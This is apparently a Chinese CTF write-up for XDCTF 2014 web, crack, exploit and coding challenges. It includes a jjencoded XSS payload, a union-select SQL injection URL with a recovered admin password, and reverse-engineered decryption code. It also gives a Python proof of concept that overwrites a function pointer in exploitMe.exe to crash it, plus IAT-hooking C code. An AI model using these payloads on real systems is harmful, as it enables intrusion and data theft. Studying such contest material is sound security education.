Web

Web20

主要考的是PHP彩蛋,在URL后添加如下参数:

1
2
3
4
?=PHPE9568F36-D428-11d2-A769-00AA001ACF42
?=PHPE9568F34-D428-11d2-A769-00AA001ACF42
?=PHPE9568F35-D428-11d2-A769-00AA001ACF42
?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000

使用最后一个得到:flag-WhatisPhp-mtzeXAtcKA53

Web50

给了一个Chrome插件安装包,解压后,我在文件里搜了一通,未果。后来Sasiki告诉在fuck.jpg的备注属性找到如下:

1
107 101 121 32 105 115 58 88 68 83 101 99 64 50 79 49 52

转换一下:XDSec@2O14

Web70

题目:

这是一道纯XSS题,只需要弹窗即可。经测试,输入不能包含数字,字母,OMG!

但可以包含诸如${}=等字符,可以利用jjencode绕过

1
2
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"(\\\"\\"+$.__$+$.$$_+$.$$$+$.$_$_+$.__+$.$$__+"\\"+$.__$+$.$_$+$.___+$.___+$._+$.__+"_\\"+$.__$+$.$$_+$.$$$+$.$$$_+$.$_$$+$.$$$+$.___+"_\\"+$.__$+$.$$$+$.___+"\\"+$.__$+$.$$_+$._$$+"\\"+$.__$+$.$$_+$._$$+"\\\"\\"+$.$__+$.___+")"+"\"")())();
http://utf-8.jp/public/jjencode.html

Web100

查看源码,提供一张图片地址,转到后是一张二维码图片:

扫了一下,得到:

1
2
3
http://mp.weixin.qq.com/s?__biz=MjM5Njc3NjM4MA==&mid=200689499&idx=2&sn=76a5cb177facf0ca76dfcc2db7e135cf#rd
RGB

去URL对应文章看了一下,讲的是将信息隐藏到图片里,把题目的图片下载下来:

然后提示是RGB,我一开始提取的RGB的最低位信息,出来的不对。后来,又回来尝试,只提取R通道的,得到:Xd$eC@2o14

Web200

打开URL,提示需要帮助信息,在URL加help,查看源码,有个read?file=readme,后来刷新下,发现内容变了,貌似是随机显示的,多刷新几次,提示有newapp.py文件。直接去读newapp.py文件内容,经过多次刷新,恢复内容大致如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
__author__ = 'le4f.net'
import web
import random
urls = (
'/getflag', 'xdctf',
'/read', 'read',
'.*','ctf'
)
class help:
def GET(self):
try:
return '<html>welcome to my first web.py project.<a href = \'./read?file=readme\'></a></html>'
except:
pass
class read:
def GET(self):
data = web.input(file = 'readme')
if data['file'].count('.') > 1:
f = 'readme'
else:
f = data['file']
cont = open("./"+f,"r").readlines()
rand = random.randint(0,len(cont)-2)
return cont[rand]+'\n'+cont[rand+1]
class xdctf:
def func(a):
if a == 'le4f.net':
flag = open("flagishere","r").readlines()[0].strip()
web.header('flag', flag)
def GET(self):
try:
web.input(_unicode=func(web.input(unabletoread = 'show me flag!!!!').get('unabletoread')))
return 'flag is here?!!show me flag!!!!'
except:
pass
class ctf:
def GET(self):
try:
return "u may need help information."
except:
pass
if __name__ == "__main__":
app = web.application(urls, globals())
app.run()

根据代码,构造url:getflag?unabletoread=le4f.net,提交后,在responseheader里有:XDCTF{X1di4nUn1Vers1tySecT3AM}

Web270

首先,找到注入点:

1
http://hlecgsp1.xdctf.com:8082/api.php?c=api&f=phpok&id=_project&param[pid]=1%20union%20select%201,concat(version(),0x7e,user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33

把整个数据库down下来后,在里面搜索flag,得到第一个flag:flag-letmeshowyoushell

后来找到admin的密码:d123789fd311dddeb7ce41f06a6d71fd:a5,前面的MD5对应的是198712a5,后来去后台登录,发现admin的密码为198712

Crack

Crack100

发现是C#写的,直接拿.NET Reflector反编译发,发现好多乱码,看来用工具混淆了,网上搜了个C#的反混淆工具de4dot处理了下,恢复的代码大致如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO;
using System.Security.Cryptography;
namespace ReverseMe
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
decrypt();
}
private static void encrypt()
{
string str2 = read_from_flag();
string str13 = str2.Substring(0, 0x20);
string str14 = str2.Substring(0x20);
string str16 = hex_to_string(smethod_5(str13));
string str20 = hex_to_string(smethod_5(base64_encode(smethod_0(str14))));
if (!write_to_encrypt(str16 + str20))
{
Environment.Exit(0);
}
}
private static string smethod_0(string string_0)
{
int[] numArray = new int[] { 0x6a, 120, 0x66, 0x65, 0x62, 0x67, 0x2e, 0x1c, 0x3e, 0x20, 0x3d, 13 };
char[] chArray = string_0.ToCharArray();
string str = string.Empty;
int index = 0;
for (int i = 0; index < string_0.Length; i++)
{
if (i > 11)
{
i = 0;
}
str = str + ((Convert.ToInt32(chArray[index]) ^ Convert.ToInt32(numArray[i]))).ToString("X");
index++;
}
return hex_to_string(str);
}
private static string base64_encode(string string_0)
{
try
{
return Encoding.ASCII.GetString(Convert.FromBase64String(string_0));
}
catch (Exception)
{
return string.Empty;
}
}
private static string smethod_2(string string_0)
{
try
{
return Convert.ToBase64String(Encoding.ASCII.GetBytes(string_0));
}
catch (Exception)
{
return string.Empty;
}
}
private static string hex_to_string(string string_0)
{
string str2 = "";
byte[] bytes = new byte[string_0.Length / 2];
for (int i = 0; i < (string_0.Length / 2); i++)
{
str2 = string_0.Substring(i * 2, 2);
bytes[i] = Convert.ToByte(str2, 0x10);
}
return Encoding.Default.GetString(bytes);
}
private static string string_to_hex(string string_0)
{
string str = "";
if (string_0 == "")
{
return "";
}
byte[] bytes = Encoding.ASCII.GetBytes(string_0);
for (int i = 0; i < bytes.Length; i++)
{
str = str + bytes[i].ToString("X");
}
return str;
}
private static string smethod_5(string string_0)
{
string str = string.Empty;
byte[] buffer = new byte[0x59];
byte[] buffer2 = new byte[0x59];
byte[] buffer3 = new byte[0xb1];
string str2 = string_to_hex(string_0);
for (int i = 0; i < string_0.Length; i++)
{
string str3 = str2.Substring(i * 2, 2);
buffer3[i] = Convert.ToByte(str3, 0x10);
buffer[i + 1] = (byte)((buffer3[i] & 15) + 0xa1);
buffer2[i] = (byte)((0x9f + (buffer3[i] >> 4)) - (buffer3[i] & 15));
str = str + buffer2[i].ToString("X") + buffer[i + 1].ToString("X");
}
return str;
}
private static bool write_to_encrypt(string string_0)
{
bool flag;
using (FileStream stream = new FileStream("Encrypt.rs", FileMode.Create, FileAccess.ReadWrite))
{
using (StreamWriter writer = new StreamWriter(stream))
{
writer.WriteLine(string_0);
writer.Close();
stream.Close();
flag = true;
}
}
return flag;
}
private static string read_from_file(string filename)
{
string str = string.Empty;
FileStream file = new FileStream(filename, FileMode.Open);
byte[] bytes = new byte[1024];
int length = 0;
do
{
length = file.Read(bytes, 0, bytes.Length);
str += Encoding.ASCII.GetString(bytes, 0, length);
} while (length > 0);
file.Close();
return str;
}
private static bool write_to_file(string file, string content)
{
bool flag = false;
using (FileStream stream = new FileStream(file, FileMode.Create, FileAccess.ReadWrite))
{
using (StreamWriter writer = new StreamWriter(stream))
{
writer.WriteLine(content);
writer.Close();
stream.Close();
flag = true;
}
}
return flag;
}
private static string read_from_flag()
{
string str = string.Empty;
if (File.Exists("Flag.rs"))
{
str = File.ReadAllText("Flag.rs", Encoding.ASCII);
if (str.Length != 0)
{
return str;
}
using (FileStream stream = new FileStream("Encrypt.rs", FileMode.Create, FileAccess.ReadWrite))
{
using (StreamWriter writer = new StreamWriter(stream))
{
writer.Close();
stream.Close();
}
return str;
}
}
using (FileStream stream2 = new FileStream("Encrypt.rs", FileMode.Create, FileAccess.ReadWrite))
{
using (StreamWriter writer2 = new StreamWriter(stream2))
{
writer2.Close();
stream2.Close();
}
}
return str;
}
}
}

C#不是很熟,开始打算用Python写个解密函数,后来发现C#往文件里写内容经过编码,只能用C#来写了,写半天才写出来,太蛋疼了。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
private static void decrypt()
{
string filename = "Encrypt.rs";
string data = string.Empty;
FileStream file = new FileStream(filename, FileMode.Open);
StreamReader reader = new StreamReader(file);
data = reader.ReadLine();
reader.Close();
file.Close();
byte[] bytes = Encoding.Default.GetBytes(data);
byte[] flag_bytes = new byte[41];
for (int i = 0; i < bytes.Length; i += 2)
{
byte byte1 = bytes[i];
byte byte2 = bytes[i + 1];
byte behind = (byte)(byte2 - 0xa1);
byte front = (byte)(byte1 + behind - 0x9f);
flag_bytes[i / 2] = (byte)(front * 16 + behind);
}
string prex = Encoding.ASCII.GetString(flag_bytes, 0, 32);
string suffix = smethod_0_1(base64_decode(Encoding.ASCII.GetString(flag_bytes, 32, 9)));
write_to_file("Flag.rs", prex + suffix);
}
private static string smethod_0_1(string string_0)
{
int[] numArray = new int[] { 0x6a, 120, 0x66, 0x65, 0x62, 0x67, 0x2e, 0x1c, 0x3e, 0x20, 0x3d, 13 };
string hex = string_to_hex(string_0);
byte[] bytes = new byte[hex.Length / 2];
for (int i = 0; i < hex.Length; i += 2)
{
int value = Convert.ToInt32(hex.Substring(i, 2), 0x10);
bytes[i / 2] = (byte)(value ^ numArray[i / 2]);
}
return Encoding.ASCII.GetString(bytes);
}

最后,得到:cplg1r7f3~xq-%!>+@sb19)<0^&key#o==4102cesdx=

Crack120

给了两个文件,有一个是Python编译后的文件,GreatYYX网上找了反编译工具,得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
# Embedded file name: unknownScript.py
import sys
class Encode(object):
def __init__(self, ori_data):
self.datastream = ori_data
self.streamlen = len(ori_data) * 8
self.index = 0
self.disdata = ''
def getbit(self, check_type = None):
index_bytes = self.index / 8
index_bits = self.index % 8
if not check_type:
self.index += 1
if ord(self.datastream[index_bytes]) & 1 << index_bits:
return 1
else:
return 0
def encode(self):
"""
x xxxxxxx
"""
_index = 0
bit_count = 0
char_temp = 0
bit_type = self.getbit(check_type=True)
for _index in range(self.streamlen):
bit = self.getbit()
bit_count += 1
if bit_type != bit:
char_temp |= bit_type << 7
char_temp |= bit_count - 1
self.disdata += chr(char_temp)
char_temp = 0
bit_count = 1
bit_type = bit
continue
elif bit_count >= 127:
char_temp |= bit_type << 7
char_temp |= bit_count
self.disdata += chr(char_temp)
char_temp = 0
bit_count = 0
bit_type = self.getbit(check_type=True)
else:
continue
if bit_count:
char_temp |= bit_type << 7
char_temp |= bit_count
self.disdata += chr(char_temp)
return self.disdata
def main():
if len(sys.argv) != 3:
print 'Usage: * SOURCE DEST'
return
with open(sys.argv[1], 'rb') as _sf:
data = _sf.read()
encode = Encode(data)
with open(sys.argv[2], 'wb') as _df:
_df.write(encode.encode())
if __name__ == '__main__':
main()

又得自己写解码函数,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
class Decode(object):
def __init__(self, data):
self.encode_data = data
self.encode_len = len(data)
self.decode_data = ''
def decode(self):
if self.encode_len == 0:
return ''
data_stream = []
for index in xrange(self.encode_len):
value = ord(self.encode_data[index])
if value >= 128:
current_bit = 1
delta = value - 128
else:
current_bit = 0
delta = value
for i in xrange(delta):
data_stream.append(current_bit)
data_stream_len = len(data_stream)
char = 0
for i in xrange(1, data_stream_len + 1):
if i % 8 == 0:
char += data_stream[i - 1] << 7
self.decode_data += chr(char)
char = 0
else:
char += (data_stream[i - 1] << (i % 8 - 1))
return self.decode_data

一开始,以为解码后的是字符串,直接打印出来,发现不对,是一张jpg图片:

得到:key: xidianZ0L4 weLc0me y0u

Crack150

这道是apk文件,直接用apktool反编译,把代码看了个遍,没发现什么,后来看到assert目录下有张图片,用十六进制编辑器打开,找到key和md5字样,但是他们前后都是乱码,把那段内容拷贝出来,尝试各种编码,后来发现是一段中文,我无力吐槽了:

1
2
e2 80 9c 6b 65 79 e2 80 9d e7 9a 84 e5 b0 8f e5 86 99 31 36 e4 bd 8d 6d 64 35 e5 8a a0 e5 af 86
“key”的小写16位md5加密

然后提交:9c15224a8228b9a9

Exploit

Exploit600

password生成

把exploitMe.exe拖进IDA,直接F5,找登录验证部分,其验证逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
char __usercall login<al>(int a1<eax>, int a2<ecx>, signed int a3, signed int a4)
{
signed int v4; // edi@5
int v5; // ecx@6
int v6; // esi@6
unsigned __int8 v7; // al@8
char v8; // cl@13
char result; // al@21
int v10; // [sp+0h] [bp-4h]@6
if ( a2 && a1 && a3 >= 4 && a4 > 0 )
{
v4 = 0;
if ( a3 > 0 )
{
v5 = a2 - a1;
v6 = a1;
v10 = v5;
while ( v4 < a4 )
{
v7 = *(_BYTE *)(v5 + v6);
if ( ((char)v7 < 65 || (char)v7 > 90) && ((char)v7 < 97 || (char)v7 > 122) && (unsigned __int8)(v7 - 48) > 9u
|| ((v8 = *(_BYTE *)v6, *(_BYTE *)v6 < 65) || v8 > 90)
&& (v8 < 97 || v8 > 122)
&& (unsigned __int8)(v8 - 48) > 9u
|| v8 != aAbcdefghijklmn[(v7 + ((unsigned int)v7 >> 2)) % 0x3F] )
return 0;
++v4;
++v6;
if ( v4 >= a3 )
break;
v5 = v10;
}
}
result = 1;
}
else
{
result = 0;
}
return result;
}

大体意思是:取用户名的单个字符,将ASCII值v7加上v7 / 4,然后模0x3F的值作为索引,去aAbcdefghijklmn里找对应值即为密码的对应字符。我用Python实现了下:

1
2
3
4
5
6
7
8
9
10
chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
def generator_password(username):
password = ''
for c in username:
value = ord(c)
index = (value + value / 4) % 0x3f
password += chars[index]
return password

崩溃bug

在登录成功后,会将sub_401050函数地址存放在dword_40DA40 + 66处,如下:

1
2
3
dword_40DA40 = malloc(0x10Cu);
memset(dword_40DA40, 0, 0x10Cu);
*((_DWORD *)dword_40DA40 + 66) = sub_401050;

sub_401050函数中,switch0x31分支调用,如下:

1
2
3
4
case 0x31:
(*((void (__stdcall **)(_DWORD, _DWORD))dword_40DA40 + 66))(v4 + 8, v3 - 8);
result = 1;
break;

但是,在switch0x20分支,会将接收的数据复制到dword_40DA40中,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
case 0x20:
v6 = *(_DWORD *)(v4 + 4);
if ( (v6 & 0x80000000u) != 0 || v3 < v6 + 8 || v6 > 0x10C )
{
result = -2147418114;
}
else
{
v7 = *(_DWORD *)(v4 + 4);
v8 = dword_40DA40;
*((_DWORD *)dword_40DA40 + 65) = v6;
memcpy(v8, (const void *)(v4 + 8), v7);
result = 1;
}
break;

所以,这里先去0x20分支,将dword_40DA40存放的sub_401050地址覆盖,然后去0x31分支,调用,从而导致程序访问无法访问的地址,致使其崩溃,效果如下:

附上POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
def main():
if len(sys.argv) != 4:
print 'Usage: exploitme host port username'
return
try:
host = sys.argv[1]
port = int(sys.argv[2])
username = sys.argv[3]
username_len = len(username)
if username_len < 4:
print 'The least length of username is 4!'
return
st = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
st.connect((host, port))
# Send name's length and password's length
packet = '\x10\x00\x00\x00'
packet += (struct.pack('@h', username_len) + '\x00\x00') * 2
st.send(packet)
password = generator_password(username)
# Send name and password
st.send('\x11\x00\x00\x00' + username + ':' + password)
r = st.recv(1024)
print r
# Send bug packet
packet = '\x20\x00\x00\x00\x0c\x01\x00\x00' + 'A' * 0x10c
st.sendall(packet)
packet = '\x31\x00\x00\x00' + 'A' * 12
st.sendall(packet)
st.close()
except TypeError:
print 'Invalid port!'
except IOError:
pass

Coding

Coding120

这个没什么好说的,直接看代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#include<windows.h>
PROC PrcMessage=(PROC)MessageBoxA;
BOOL SetApiAddr(HMODULE hMod, PROC OrgAddr, DWORD *NewAddr, char *DllName);
typedef int (WINAPI *pFMessageBox)(HWND, LPCSTR lpText, LPCSTR lpCaption, UINT uType);
int WINAPI MyMessageBox(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)
{
return ((pFMessageBox)PrcMessage)(hWnd, lpText, lpCaption, uType);
}
BOOL APIENTRY DllMain(HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved)
{
if(ul_reason_for_call==DLL_PROCESS_ATTACH)
{
SetApiAddr(::GetModuleHandle(NULL), PrcMessage, (DWORD *)MyMessageBox, "user32.dll");
}
return TRUE;
}
//替换IAT表API地址函数
BOOL SetApiAddr(HMODULE hMod, PROC OrgAddr, DWORD *NewAddr, char *DllName)
{
IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)hMod;
IMAGE_OPTIONAL_HEADER * pOptHeader =
(IMAGE_OPTIONAL_HEADER *)((BYTE*)hMod + pDosHeader->e_lfanew + 24);
IMAGE_IMPORT_DESCRIPTOR* pImportDesc = (IMAGE_IMPORT_DESCRIPTOR*)
((BYTE*)hMod + pOptHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
// 在导入表中查找user32.dll模块。因为MessageBoxA函数从user32.dll模块导出
while(pImportDesc->FirstThunk)
{
char* pszDllName = (char*)((BYTE*)hMod + pImportDesc->Name);
if(lstrcmpiA(pszDllName, DllName) == 0)
{
break;
}
pImportDesc++;
}
if(pImportDesc->FirstThunk)
{
// 一个IMAGE_THUNK_DATA结构就是一个双字,它指定了一个导入函数
// 调入地址表其实是IMAGE_THUNK_DATA结构的数组,也就是DWORD数组
IMAGE_THUNK_DATA* pThunk = (IMAGE_THUNK_DATA*) ((BYTE*)hMod + pImportDesc->FirstThunk);
while(pThunk->u1.Function)
{
// lpAddr指向的内存保存了函数的地址
DWORD* lpAddr = (DWORD*)&(pThunk->u1.Function);
if(*lpAddr == (DWORD)OrgAddr)
{
DWORD dwOldProtect;
MEMORY_BASIC_INFORMATION mbi;
VirtualQuery(lpAddr, &mbi, sizeof(mbi));
VirtualProtect(lpAddr, sizeof(DWORD), PAGE_READWRITE , &dwOldProtect);
//修改IAT表项,使其指向我们自定义的函数,
::WriteProcessMemory(GetCurrentProcess(), lpAddr, &NewAddr, sizeof(DWORD),NULL);
VirtualProtect(lpAddr, sizeof(DWORD), dwOldProtect, 0);
return TRUE;
}
pThunk++;
}
}
return FALSE;
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
MyMessageBox(NULL, "Hello World!", "MessageBox", MB_OK);
return 0;
}